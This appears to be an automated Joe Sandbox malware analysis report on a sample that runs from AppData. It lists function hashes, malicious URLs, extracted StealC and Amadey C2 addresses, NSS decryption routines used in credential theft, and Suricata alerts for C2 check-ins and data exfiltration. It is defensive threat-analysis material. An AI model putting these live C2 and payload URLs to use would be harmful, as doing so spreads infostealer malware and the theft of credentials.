Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: dae5f441b159aba6893e567735b2d8d1e5557d90422f306d040fe7a724b998a6
Instruction ID: f92800bfbc964874d3f5c47c96107bd8e61b0f0d1aa6313ff3dfb7b9b922f3e7
Opcode Fuzzy Hash: dae5f441b159aba6893e567735b2d8d1e5557d90422f306d040fe7a724b998a6
Instruction Fuzzy Hash: 9C31F671A2060A8FDF14CF2CCD806AA73E9EB84304F60813DD45AD7A59EF35E669C790

Function 6C93B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C8E0A4D), ref: 6C93B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C8E0A4D), ref: 6C93B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C8E0A4D), ref: 6C93B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C8E0A4D), ref: 6C93B67F

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 58f4aa429388d070fe547dd092dff76b1b77d3dfbb2335de8c02da35e465d1fd
Instruction ID: 7e79ed8bd4331938587c3c3930c9027f4ab6cbbf101af8d3857be82b353b6237
Opcode Fuzzy Hash: 58f4aa429388d070fe547dd092dff76b1b77d3dfbb2335de8c02da35e465d1fd
Instruction Fuzzy Hash: B831D871B056268FDB10CF68CC4466AB7BAFF85328F568569C80E9B202DB31E915CB91

Function 6C8EBBE0 Relevance: 5.1, APIs: 4, Instructions: 96COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000010,?,?,?,?,?,?,?,?,?,?,?,?,?,00000008), ref: 6C8EBBF4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,00000008), ref: 6C8EBC66
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000008), ref: 6C8EBC96
memcpy.VCRUNTIME140(00000000,00000010,0000001F,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C8EBCCE

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: e473177899dbe93a575b63ca786326115ad90ebf7521160b5e9d35a7b14bbdf8
Instruction ID: e99cc9c3e7dc152c8ea683b7425271ae0e3fb6de04c9e94b4e7018a6ed7ad7db
Opcode Fuzzy Hash: e473177899dbe93a575b63ca786326115ad90ebf7521160b5e9d35a7b14bbdf8
Instruction Fuzzy Hash: 6D215A71B083058BF7208F39CD8033E72E9EB9A308F664D38D95AD6751EE70E5448395

Function 6C90F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C90F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C90F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C90F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C90F668

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: c5c9258678b38c130956ee83d6cf1d198b6c7a53599a9589e0ff8f4052b77538
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 10314F71B00614AFCB24CF5DCCC0AAB77BAEB94358B14853DFA498BB05D631E9448B98

Function 6C8D39A0 Relevance: 5.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C95E744,6C937765,00000000,6C937765,?,6C8F6112), ref: 6C8D39AF
LeaveCriticalSection.KERNEL32(6C95E744,?,6C8F6112), ref: 6C8D3A34
EnterCriticalSection.KERNEL32(6C95E784,6C8F6112), ref: 6C8D3A4B
LeaveCriticalSection.KERNEL32(6C95E784), ref: 6C8D3A5F

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 9122be89166d8d65d6c5e7772c5c30c0e9f11f782c98f98db48f07ae39cc07c5
Instruction ID: 37b348461bd38a0f81afc7db00b1abbb46c377021dadd27627d422d7f5622787
Opcode Fuzzy Hash: 9122be89166d8d65d6c5e7772c5c30c0e9f11f782c98f98db48f07ae39cc07c5
Instruction Fuzzy Hash: B121233230AB018FCB25DB69C445A2A73B1EB92B187B9096DC56583F80DB31FC008792

Function 6C8EB940 Relevance: 5.1, APIs: 4, Instructions: 64COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C8EB96F
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020), ref: 6C8EB99A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C8EB9B0
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C8EB9B9

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: memcpy$freemalloc
String ID:
API String ID: 3313557100-0
Opcode ID: ec8d6e979f0154e730bee514996a7358f95b259df3b78fbb7be9bb72792b1bce
Instruction ID: 5b07e1e4f3fcee3132bdce2d7d8746ee31991c13ee6d1d6a61d236c44742c975
Opcode Fuzzy Hash: ec8d6e979f0154e730bee514996a7358f95b259df3b78fbb7be9bb72792b1bce
Instruction Fuzzy Hash: D5114FB1A003059FCB14DF69D8808ABB7F9BF98314B14893AE919D7701E731E919CAA5

Function 6C9226B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9226C1
free.MOZGLUE(?), ref: 6C9226E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9226FF
free.MOZGLUE ref: 6C92270D

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 10a47464ce83f20324036710c00becee0461160e07e717a8e35e80936768907d
Instruction ID: fd7eb638233c52be6a06b01a16e1bcd8b72cacb512a6fcbfbe684601aae80c15
Opcode Fuzzy Hash: 10a47464ce83f20324036710c00becee0461160e07e717a8e35e80936768907d
Instruction Fuzzy Hash: 82F02DB37117015BEB109E58DC88D5773ADFF4526CB600035EA56C3B01E336F919C691

Source: http://185.215.113.100/0d60be0de163924d/vcruntime140.dll	URL Reputation: Label: malware
Source: http://185.215.113.100/	URL Reputation: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/mozglue.dll	URL Reputation: Label: malware
Source: http://185.215.113.100	URL Reputation: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/sqlite3.dll	URL Reputation: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/nss3.dll	URL Reputation: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.php	URL Reputation: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/softokn3.dll	URL Reputation: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/freebl3.dll	URL Reputation: Label: malware
Source: http://185.215.113.19/Vi9leo/index.phpHarddiskVolumef	Avira URL Cloud: Label: phishing
Source: http://185.215.113.100/e2b1563c6670f193.phpion:	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/ZkRm	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/nss3.dllllo	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/msvcp140.dllP	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/nss3.dll5	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/nss3.dllK	Avira URL Cloud: Label: malware
Source: http://185.215.113.19/Vi9leo/index.phpAppDataB$	Avira URL Cloud: Label: phishing
Source: http://185.215.113.100/e2b1563c6670f193.phprowser	Avira URL Cloud: Label: malware
Source: http://185.215.113.19/Vi9leo/index.php	Avira URL Cloud: Label: phishing
Source: http://185.215.113.100/0d60be0de163924d/nss3.dllY	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.phpmainnet	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/nss3.dllllG	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.phpm&	Avira URL Cloud: Label: malware
Source: http://185.215.113.19/Vi9leo/index.php26	Avira URL Cloud: Label: phishing
Source: http://185.215.113.100/0d60be0de163924d/nss3.dllll9	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/ws	Avira URL Cloud: Label: malware
Source: http://185.215.113.19/Vi9leo/index.phpppData	Avira URL Cloud: Label: phishing
Source: http://185.215.113.100/e2b1563c6670f193.phprofiles	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/well/random.exe	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.phpDq	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.php/	Avira URL Cloud: Label: malware
Source: http://185.215.113.19/	Avira URL Cloud: Label: phishing
Source: http://185.215.113.100/e2b1563c6670f193.php2	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.phpDu	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.php3	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/steam/random.exeBH	Avira URL Cloud: Label: phishing
Source: http://185.215.113.100/0d60be0de163924d/vcruntime140.dlld	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.php#	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.phpAECGHCBGCBFHIIDHI$3	Avira URL Cloud: Label: malware
Source: http://185.215.113.19/Vi9leo/index.php53001	Avira URL Cloud: Label: phishing
Source: http://185.215.113.100/ocal	Avira URL Cloud: Label: malware
Source: http://185.215.113.19/Vi9leo/index.phpQ	Avira URL Cloud: Label: phishing
Source: http://185.215.113.100/0d60be0de163924d/freebl3.dlla	Avira URL Cloud: Label: malware
Source: http://185.215.113.19/Vi9leo/index.phpT	Avira URL Cloud: Label: phishing
Source: http://185.215.113.100/0d60be0de163924d/mozglue.dllk	Avira URL Cloud: Label: malware
Source: http://185.215.113.19/Vi9leo/index.phpL	Avira URL Cloud: Label: phishing
Source: http://185.215.113.19/Vi9leo/index.phptch	Avira URL Cloud: Label: phishing
Source: http://185.215.113.19/Vi9leo/index.phps	Avira URL Cloud: Label: phishing
Source: http://185.215.113.100/e2b1563c6670f193.phpM	Avira URL Cloud: Label: malware
Source: http://185.215.113.19/Vi9leo/index.phpz	Avira URL Cloud: Label: phishing
Source: http://185.215.113.100/0d60be0de163924d/softokn3.dllA	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.phpU	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.phpA	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.phpE36	Avira URL Cloud: Label: malware
Source: http://185.215.113.19/fae1daa8e9eb0eefeb8846d934f48b15eaa495c49#	Avira URL Cloud: Label: phishing
Source: http://185.215.113.19/Vi9leo/index.php3001	Avira URL Cloud: Label: phishing

Source: 00000008.00000002.2653239563.0000000000FAE000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.100/e2b1563c6670f193.php"}
Source: explorti.exe.7692.6.memstrmin	Malware Configuration Extractor: Amadey {"C2 url": ["http://185.215.113.19/Vi9leo/index.php"]}

Source: http://185.215.113.100/e2b1563c6670f193.phpion:	Virustotal: Detection: 6%	Perma Link
Source: http://185.215.113.100/0d60be0de163924d/msvcp140.dllP	Virustotal: Detection: 18%	Perma Link
Source: http://185.215.113.100/0d60be0de163924d/nss3.dllK	Virustotal: Detection: 18%	Perma Link
Source: http://185.215.113.100/0d60be0de163924d/nss3.dll5	Virustotal: Detection: 15%	Perma Link
Source: http://185.215.113.100/e2b1563c6670f193.phprowser	Virustotal: Detection: 10%	Perma Link
Source: http://185.215.113.19/Vi9leo/index.php	Virustotal: Detection: 24%	Perma Link
Source: http://185.215.113.100/0d60be0de163924d/nss3.dllY	Virustotal: Detection: 14%	Perma Link
Source: http://185.215.113.100/ws	Virustotal: Detection: 7%	Perma Link
Source: http://185.215.113.19/Vi9leo/index.phpppData	Virustotal: Detection: 19%	Perma Link
Source: http://185.215.113.16/well/random.exe	Virustotal: Detection: 25%	Perma Link
Source: http://185.215.113.19/	Virustotal: Detection: 18%	Perma Link
Source: http://185.215.113.100/e2b1563c6670f193.php/	Virustotal: Detection: 7%	Perma Link
Source: http://185.215.113.100/e2b1563c6670f193.php2	Virustotal: Detection: 10%	Perma Link
Source: http://185.215.113.100/e2b1563c6670f193.php3	Virustotal: Detection: 7%	Perma Link

Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C8E6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	7_2_6C8E6C80
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CA3A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	7_2_6CA3A9A0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CA344C0 PK11_PubEncrypt,	7_2_6CA344C0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CA04420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	7_2_6CA04420
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CA34440 PK11_PrivDecrypt,	7_2_6CA34440
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CA825B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	7_2_6CA825B0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CA1E6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	7_2_6CA1E6E0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CA18670 PK11_ExportEncryptedPrivKeyInfo,	7_2_6CA18670
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CA3A650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	7_2_6CA3A650
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CA5A730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	7_2_6CA5A730
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CA60180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	7_2_6CA60180
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CA343B0 PK11_PubEncryptPKCS1,PR_SetError,	7_2_6CA343B0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CA57C00 SEC_PKCS12DecoderImportBags,PR_SetError,NSS_OptionGet,CERT_DestroyCertificate,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECOID_FindOID_Util,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,SECOID_GetAlgorithmTag_Util,SECITEM_CopyItem_Util,PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,PK11_ImportPublicKey,SECOID_FindOID_Util,	7_2_6CA57C00
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CA5BD30 SEC_PKCS12IsEncryptionAllowed,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,	7_2_6CA5BD30
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CA17D60 PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECOID_FindOID_Util,SECOID_FindOIDByTag_Util,PK11_PBEKeyGen,PK11_GetPadMechanism,PK11_UnwrapPrivKey,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,PK11_PBEKeyGen,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_ImportPublicKey,SECKEY_DestroyPublicKey,	7_2_6CA17D60
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CA59EC0 SEC_PKCS12CreateUnencryptedSafe,PORT_ArenaMark_Util,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,SEC_PKCS7DestroyContentInfo,	7_2_6CA59EC0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CA33FF0 PK11_PrivDecryptPKCS1,	7_2_6CA33FF0

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:49737 -> 185.215.113.19:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.19:80 -> 192.168.2.4:49737
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49739 -> 185.215.113.19:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49742 -> 185.215.113.100:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49741 -> 185.215.113.19:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49742 -> 185.215.113.100:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.100:80 -> 192.168.2.4:49742
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49742 -> 185.215.113.100:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.100:80 -> 192.168.2.4:49742
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49742 -> 185.215.113.100:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49744 -> 185.215.113.19:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49796 -> 185.215.113.100:80

Source: Malware configuration extractor	URLs: http://185.215.113.100/e2b1563c6670f193.php
Source: Malware configuration extractor	IPs: 185.215.113.19

Source: Joe Sandbox View	IP Address: 185.215.113.100 185.215.113.100
Source: Joe Sandbox View	IP Address: 152.195.19.97 152.195.19.97
Source: Joe Sandbox View	IP Address: 13.107.246.60 13.107.246.60

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49738 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49743 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49742 -> 185.215.113.100:80

Source: global traffic	HTTP traffic detected: GET /assets/arbitration_priority_list/4.0.5/asset?assetgroup=ArbitrationService HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ArbitrationServiceSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: OPTIONS /log?format=json&hasfast=true&authuser=0 HTTP/1.1Host: play.google.comConnection: keep-aliveAccept: /Access-Control-Request-Method: POSTAccess-Control-Request-Headers: x-goog-authuserOrigin: https://accounts.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Sec-Fetch-Mode: corsSec-Fetch-Site: same-siteSec-Fetch-Dest: emptyReferer: https://accounts.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9
Source: global traffic	HTTP traffic detected: OPTIONS /log?format=json&hasfast=true&authuser=0 HTTP/1.1Host: play.google.comConnection: keep-aliveAccept: /Access-Control-Request-Method: POSTAccess-Control-Request-Headers: x-goog-authuserOrigin: https://accounts.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Sec-Fetch-Mode: corsSec-Fetch-Site: same-siteSec-Fetch-Dest: emptyReferer: https://accounts.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9
